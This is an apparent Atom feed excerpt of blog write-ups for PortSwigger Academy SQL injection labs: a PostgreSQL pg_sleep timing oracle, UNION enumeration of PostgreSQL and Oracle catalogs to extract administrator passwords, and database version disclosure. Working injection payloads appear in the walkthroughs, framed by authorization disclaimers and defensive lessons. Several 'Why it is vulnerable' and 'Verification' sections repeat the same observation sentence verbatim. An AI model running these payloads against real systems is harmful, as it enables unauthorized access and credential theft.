request.</p><figure><img src="/images/portswigger/sql-injection/lab-time-delays-info-retrieval/step-1.png" alt="`CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END` establishes length 20; `SUBSTRING(password,position,1)=candidate` identifies characters with one concurrent request."><figcaption>`CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END` establishes length 20; `SUBSTRING(password,position,1)=candidate` identifies characters with one concurrent request.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-time-delays-info-retrieval/step-2.png" alt="CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END establishes length 20; SUBSTRING(password,position,1)=candidate identifies characters with one concurrent request. The visible pane contains the resulting application response."><figcaption>CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END establishes length 20; SUBSTRING(password,position,1)=candidate identifies characters with one concurrent request. The visible pane contains the resulting application response.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-time-delays-info-retrieval/step-3.png" alt="`CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END` establishes length 20; `SUBSTRING(password,position,1)=candidate` identifies characters with one concurrent request."><figcaption>`CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END` establishes length 20; `SUBSTRING(password,position,1)=candidate` identifies characters with one concurrent request.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END</code> establishes length 20; <code>SUBSTRING(password,position,1)=candidate</code> identifies characters with one concurrent request. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Calibrate an ordinary TrackingId request, then place <code>pg_sleep(10)</code> behind a <code>CASE WHEN</code> predicate. First identify the password length; next test one candidate character at one position per request, using a single concurrent request so queueing does not obscure the timing result.</p><figure><img src="/images/portswigger/sql-injection/lab-time-delays-info-retrieval/step-4.png" alt="Intruder varies N in a TrackingId CASE predicate that calls pg_sleep(10) when LENGTH(password)=N for the administrator account."><figcaption>Intruder varies N in a TrackingId CASE predicate that calls pg_sleep(10) when LENGTH(password)=N for the administrator account.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-time-delays-info-retrieval/step-5.png" alt="The timing results single out password length 20 through the approximately ten-second PostgreSQL response delay."><figcaption>The timing results single out password length 20 through the approximately ten-second PostgreSQL response delay.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-time-delays-info-retrieval/step-6.png" alt="A second single-threaded Intruder attack varies position and character; delayed pg_sleep(10) responses reveal each administrator password character."><figcaption>A second single-threaded Intruder attack varies position and character; delayed pg_sleep(10) responses reveal each administrator password character.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END</code> establishes length 20; <code>SUBSTRING(password,position,1)=candidate</code> identifies characters with one concurrent request. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A blind timing channel can leak secrets despite identical pages and status codes. Use bound parameters, enforce database statement timeouts, and alert on repeated conditional sleep expressions and systematic cookie probes.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Turn TrackingId into a conditional PostgreSQL timing oracle with CASE and pg_sleep, then infer the administrator password one character at a time.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection attack, listing the database contents on non-Oracle databases</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-listing-database-contents-non-oracle/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-listing-database-contents-non-oracle/</id>
    <published>2026-07-07T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The UNION output reveals both the database family and its randomized user schema: two text columns and version() identify PostgreSQL; informationschema.tables reveals usersoccukb, then columns usernamegfkpyb and passwordxrdklp. PostgreSQL catalog names then provide a direct route to the credential row.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection attack, listing the database contents on non-Oracle databases</strong> through the endpoint and input recorded in the lab note. Two text columns and <code>version()</code> identify PostgreSQL; <code>information_schema.tables</code> reveals <code>users_occukb</code>, then columns <code>username_gfkpyb</code> and <code>password_xrdklp</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>two text columns and <code>version()</code> identify PostgreSQL; <code>information_schema.tables</code> reveals <code>users_occukb</code>, then columns <code>username_gfkpyb</code> and <code>password_xrdklp</code>.</p><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-non-oracle/step-1.png" alt="Two text columns and `version()` identify PostgreSQL; `information_schema.tables` reveals `users_occukb`, then columns `username_gfkpyb` and `password_xrdklp`."><figcaption>Two text columns and `version()` identify PostgreSQL; `information_schema.tables` reveals `users_occukb`, then columns `username_gfkpyb` and `password_xrdklp`.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-non-oracle/step-2.png" alt="Two text columns and version() identify PostgreSQL; information_schema.tables reveals users_occukb , then columns username_gfkpyb and password_xrdklp . The visible pane contains the resulting application response."><figcaption>Two text columns and version() identify PostgreSQL; information_schema.tables reveals users_occukb , then columns username_gfkpyb and password_xrdklp . The visible pane contains the resulting application response.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-non-oracle/step-3.png" alt="Two text columns and `version()` identify PostgreSQL; `information_schema.tables` reveals `users_occukb`, then columns `username_gfkpyb` and `password_xrdklp`."><figcaption>Two text columns and `version()` identify PostgreSQL; `information_schema.tables` reveals `users_occukb`, then columns `username_gfkpyb` and `password_xrdklp`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Two text columns and <code>version()</code> identify PostgreSQL; <code>information_schema.tables</code> reveals <code>users_occukb</code>, then columns <code>username_gfkpyb</code> and <code>password_xrdklp</code>. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Use the two printable columns to display <code>version()</code>, enumerate <code>information_schema.tables</code>, inspect the discovered users table through <code>information_schema.columns</code>, and finally select the randomized username and password columns.</p><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-non-oracle/step-4.png" alt="The category UNION query reads information_schema.columns and the response reveals the randomized username and password column names for the discovered users table."><figcaption>The category UNION query reads information_schema.columns and the response reveals the randomized username and password column names for the discovered users table.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-non-oracle/step-5.png" alt="A final UNION SELECT requests those randomized columns from the users table, and the product page renders the administrator username beside its synthetic password."><figcaption>A final UNION SELECT requests those randomized columns from the users table, and the product page renders the administrator username beside its synthetic password.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-non-oracle/step-6.png" alt="Use the two printable columns to display `version()`, enumerate `information_schema.tables`, inspect the discovered users table through `information_schema.columns`, and finally select the randomized username and password columns."><figcaption>Use the two printable columns to display `version()`, enumerate `information_schema.tables`, inspect the discovered users table through `information_schema.columns`, and finally select the randomized username and password columns.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when two text columns and <code>version()</code> identify PostgreSQL; <code>information_schema.tables</code> reveals <code>users_occukb</code>, then columns <code>username_gfkpyb</code> and <code>password_xrdklp</code>. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A single injectable catalog filter can expose arbitrary tables. Use prepared statements and a least-privileged database role that cannot enumerate or read unrelated authentication data.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Query PostgreSQL information_schema through the category filter to discover randomized users table and column names, then extract the administrator credential.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection attack, listing the database contents on Oracle</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-listing-database-contents-oracle/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-listing-database-contents-oracle/</id>
    <published>2026-07-06T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The vulnerable product filter places <code>category</code> into an Oracle query. A two-column <code>UNION</code> first enumerates <code>all_tables</code>, then uses <code>user_tab_cols</code> to discover the randomized credential columns before selecting the administrator row from <code>USERS_GSEMNG</code>.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The injection point is <code>GET /filter?category=&lt;value&gt;</code> on an Oracle back end. The objective is to identify the unknown users table and its columns, retrieve the synthetic administrator credential, and authenticate in the Academy lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The response could render two text values from a <code>UNION SELECT</code>. Oracle does not expose <code>information_schema</code>; its data dictionary supplied the required metadata. Querying <code>all_tables</code> revealed <code>USERS_GSEMNG</code>, and <code>user_tab_cols</code> returned <code>USERNAME_RKTXFE</code> and <code>PASSWORD_YCJIMQ</code>.</p><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-oracle/step-1.png" alt="The initial category request is captured in Repeater before testing the Oracle UNION injection point."><figcaption>The initial category request is captured in Repeater before testing the Oracle UNION injection point.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-oracle/step-2.png" alt="An Oracle UNION SELECT with two text values and FROM dual renders both markers, confirming a two-column text-compatible result."><figcaption>An Oracle UNION SELECT with two text values and FROM dual renders both markers, confirming a two-column text-compatible result.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-oracle/step-3.png" alt="UNION SELECT owner,table_name FROM all_tables returns the randomized USERS_GSEMNG table in Oracle data-dictionary output."><figcaption>UNION SELECT owner,table_name FROM all_tables returns the randomized USERS_GSEMNG table in Oracle data-dictionary output.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application concatenates the <code>category</code> value into SQL, allowing the original query to be extended with attacker-selected rows. The database account can also read Oracle catalog views and the credential table, so the injection crosses both a query-boundary failure and an excessive-privilege boundary.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Confirm the response accepts two text columns with an Oracle-compatible <code>UNION SELECT</code> using <code>dual</code> where a table is required.</li><li>Request <code>a&#39; UNION SELECT owner, table_name FROM all_tables -- -</code> and inspect the rendered rows for the randomized users table, <code>USERS_GSEMNG</code>.</li><li>Request <code>a&#39; UNION SELECT column_name,&#39;aa&#39; FROM user_tab_cols WHERE table_name = &#39;USERS_GSEMNG&#39; -- -</code> to recover <code>USERNAME_RKTXFE</code> and <code>PASSWORD_YCJIMQ</code>.</li><li>Select those fields from the discovered table with <code>a&#39; UNION SELECT USERNAME_RKTXFE, PASSWORD_YCJIMQ FROM USERS_GSEMNG -- -</code>.</li><li>Use the returned synthetic administrator credential on the lab login page.</li></ol><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-oracle/step-4.png" alt="A user_tab_cols query for USERS_GSEMNG reveals columns USERNAME_RKTXFE and PASSWORD_YCJIMQ in the rendered response."><figcaption>A user_tab_cols query for USERS_GSEMNG reveals columns USERNAME_RKTXFE and PASSWORD_YCJIMQ in the rendered response.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-oracle/step-5.png" alt="Selecting USERNAME_RKTXFE and PASSWORD_YCJIMQ from USERS_GSEMNG returns the administrator row and its synthetic password."><figcaption>Selecting USERNAME_RKTXFE and PASSWORD_YCJIMQ from USERS_GSEMNG returns the administrator row and its synthetic password.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-listing-database-contents-oracle/step-6.png" alt="The My account page shows the administrator session after login with the credential recovered from the Oracle users table."><figcaption>The My account page shows the administrator session after login with the credential recovered from the Oracle users table.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The result is supported by a linked sequence: <code>all_tables</code> reveals the table, <code>user_tab_cols</code> reveals its schema, the final <code>UNION</code> returns credential rows, and the administrator value is accepted by the lab login. The solved state confirms that the catalog-derived data was correct.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A UNION injection with catalog access can turn one filter parameter into broad schema discovery and credential disclosure. Parameterize the category query, grant the application account only the tables and views it needs, avoid storing reusable passwords, and monitor unexpected catalog queries from application identities.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Query Oracle all_tables and user_tab_cols through the injectable category parameter to locate the credential schema and retrieve the administrator password.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection attack, querying the database type and version on Oracle</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-querying-database-version-oracle/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-querying-database-version-oracle/</id>
    <published>2026-07-06T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The failed UNION without a table and the successful <code>dual</code> query identify Oracle semantics: a UNION without FROM fails; SELECT ‘A’,’b’ FROM dual succeeds, and SELECT ‘A’,banner FROM v$version displays the version. The second column then carries the banner from <code>v$version</code>.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection attack, querying the database type and version on Oracle</strong> through the endpoint and input recorded in the lab note. A UNION without FROM fails; <code>SELECT &#39;A&#39;,&#39;b&#39; FROM dual</code> succeeds, and <code>SELECT &#39;A&#39;,banner FROM v$version</code> displays the version.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>a UNION without FROM fails; <code>SELECT &#39;A&#39;,&#39;b&#39; FROM dual</code> succeeds, and <code>SELECT &#39;A&#39;,banner FROM v$version</code> displays the version.</p><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-oracle/step-1.png" alt="The initial `category` probes compare a tableless UNION with `SELECT &#x27;A&#x27;,&#x27;b&#x27; FROM dual`, establishing that Oracle requires the dummy table."><figcaption>The initial `category` probes compare a tableless UNION with `SELECT 'A','b' FROM dual`, establishing that Oracle requires the dummy table.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-oracle/step-2.png" alt="A UNION without FROM fails; `SELECT &#x27;A&#x27;,&#x27;b&#x27; FROM dual` succeeds, and `SELECT &#x27;A&#x27;,banner FROM v$version` displays the version."><figcaption>A UNION without FROM fails; `SELECT 'A','b' FROM dual` succeeds, and `SELECT 'A',banner FROM v$version` displays the version.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>A UNION without FROM fails; <code>SELECT &#39;A&#39;,&#39;b&#39; FROM dual</code> succeeds, and <code>SELECT &#39;A&#39;,banner FROM v$version</code> displays the version. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Keep the known two-column shape, add <code>FROM dual</code> to satisfy Oracle, and replace the second literal with <code>banner</code> selected from <code>v$version</code>. Compare the erroring request with the rendered version rows.</p><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-oracle/step-3.png" alt="Keep the known two-column shape, add `FROM dual` to satisfy Oracle, and replace the second literal with `banner` selected from `v$version`. Compare the erroring request with the rendered version rows."><figcaption>Keep the known two-column shape, add `FROM dual` to satisfy Oracle, and replace the second literal with `banner` selected from `v$version`. Compare the erroring request with the rendered version rows.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-oracle/step-4.png" alt="The Oracle category payload uses UNION SELECT NULL,banner FROM v$version with FROM dual-compatible syntax in Repeater."><figcaption>The Oracle category payload uses UNION SELECT NULL,banner FROM v$version with FROM dual-compatible syntax in Repeater.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-oracle/step-5.png" alt="The product page prints Oracle Database 11g Express Edition and PL/SQL banner rows returned by UNION SELECT banner FROM v$version."><figcaption>The product page prints Oracle Database 11g Express Edition and PL/SQL banner rows returned by UNION SELECT banner FROM v$version.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when a UNION without FROM fails; <code>SELECT &#39;A&#39;,&#39;b&#39; FROM dual</code> succeeds, and <code>SELECT &#39;A&#39;,banner FROM v$version</code> displays the version. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Version disclosure improves an attacker’s payload selection and confirms arbitrary SELECT execution. Parameterize the category filter and restrict access to system views.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Add FROM dual to an Oracle UNION query and select banner from v$version, revealing the database version through the category results.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection attack, querying the database type and version on MySQL and Microsoft</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-querying-database-version-mysql-microsoft/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-querying-database-version-mysql-microsoft/</id>
    <published>2026-07-06T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>A two-column UNION accepts text and renders <code>version()</code>: abc’ UNION SELECT ‘a’,’b’ – - succeeds and abc’ UNION SELECT ‘a’,version() – - renders the MySQL banner; Microsoft SQL Server would use @@version. The comment syntax and returned banner distinguish the active MySQL path from the Microsoft alternative.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection attack, querying the database type and version on MySQL and Microsoft</strong> through the endpoint and input recorded in the lab note. <code>abc&#39; UNION SELECT &#39;a&#39;,&#39;b&#39; -- -</code> succeeds and <code>abc&#39; UNION SELECT &#39;a&#39;,version() -- -</code> renders the MySQL banner; Microsoft SQL Server would use <code>@@version</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>abc&#39; UNION SELECT &#39;a&#39;,&#39;b&#39; -- -</code> succeeds and <code>abc&#39; UNION SELECT &#39;a&#39;,version() -- -</code> renders the MySQL banner; Microsoft SQL Server would use <code>@@version</code>.</p><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-mysql-microsoft/step-1.png" alt="The first `category` UNION places text markers in both columns, confirming two printable positions before the version function is introduced."><figcaption>The first `category` UNION places text markers in both columns, confirming two printable positions before the version function is introduced.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-mysql-microsoft/step-2.png" alt="`abc&#x27; UNION SELECT &#x27;a&#x27;,&#x27;b&#x27; -- -` succeeds and `abc&#x27; UNION SELECT &#x27;a&#x27;,version() -- -` renders the MySQL banner; Microsoft SQL Server would use `@@version`."><figcaption>`abc' UNION SELECT 'a','b' -- -` succeeds and `abc' UNION SELECT 'a',version() -- -` renders the MySQL banner; Microsoft SQL Server would use `@@version`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>abc&#39; UNION SELECT &#39;a&#39;,&#39;b&#39; -- -</code> succeeds and <code>abc&#39; UNION SELECT &#39;a&#39;,version() -- -</code> renders the MySQL banner; Microsoft SQL Server would use <code>@@version</code>. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Verify two text columns with literal values, preserve the MySQL space after <code>--</code>, and substitute <code>version()</code> into the displayed column. Treat <code>@@version</code> as the SQL Server comparison, not as the observed result for this instance.</p><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-mysql-microsoft/step-3.png" alt="Verify two text columns with literal values, preserve the MySQL space after `--`, and substitute `version()` into the displayed column. `@@version` is the SQL Server comparison, while this response identifies MySQL."><figcaption>Verify two text columns with literal values, preserve the MySQL space after `--`, and substitute `version()` into the displayed column. `@@version` is the SQL Server comparison, while this response identifies MySQL.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-mysql-microsoft/step-4.png" alt="Repeater submits a two-column UNION SELECT with version() in the printable column and a MySQL comment containing the required trailing space."><figcaption>Repeater submits a two-column UNION SELECT with version() in the printable column and a MySQL comment containing the required trailing space.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-querying-database-version-mysql-microsoft/step-5.png" alt="The shop response renders the MySQL server version string returned by version(), distinguishing the observed DBMS from the SQL Server alternative."><figcaption>The shop response renders the MySQL server version string returned by version(), distinguishing the observed DBMS from the SQL Server alternative.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>abc&#39; UNION SELECT &#39;a&#39;,&#39;b&#39; -- -</code> succeeds and <code>abc&#39; UNION SELECT &#39;a&#39;,version() -- -</code> renders the MySQL banner; Microsoft SQL Server would use <code>@@version</code>. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Database banners expose platform and patch clues. Prepared statements remove the UNION path; generic error handling and restricted metadata permissions reduce secondary disclosure.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Use the category parameter&#39;s text column to render version() and learn how the returned banner distinguishes MySQL from Microsoft SQL Server syntax.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection UNION attack, determining the number of columns returned by the query</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-determine-number-of-columns/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-determine-number-of-columns/</id>
    <published>2026-07-06T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
